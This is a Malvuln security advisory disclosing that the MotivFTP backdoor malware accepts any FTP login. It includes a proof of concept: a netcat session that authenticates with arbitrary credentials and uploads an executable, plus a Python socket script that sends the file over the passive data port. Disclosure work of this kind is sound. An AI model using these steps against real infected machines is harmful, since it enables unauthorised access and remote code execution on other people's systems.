Backdoor.Win32.MotivFTP.12 malware suffers from an authentication bypass vulnerability.
61728087567c1cd744e947ea1e168649Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/91b2d216c5d26d9db4289acf68fa1743.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.MotivFTP.12
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 21. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: MotivFTP
Type: PE32
MD5: 91b2d216c5d26d9db4289acf68fa1743
Vuln ID: MVID-2022-0544
Disclosure: 04/14/2022
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 21
220 FTP Server ready
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,25).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
import time
HOST = "192.168.18.125"
PORT = 49689
BUF_SIZE = 32
s=socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
with open("DOOM.exe", "rb") as f:
while True:
bytez = f.read(BUF_SIZE)
if not bytez:
break
s.send(bytez)
time.sleep(0.5)
print("By malvuln")
s.close()
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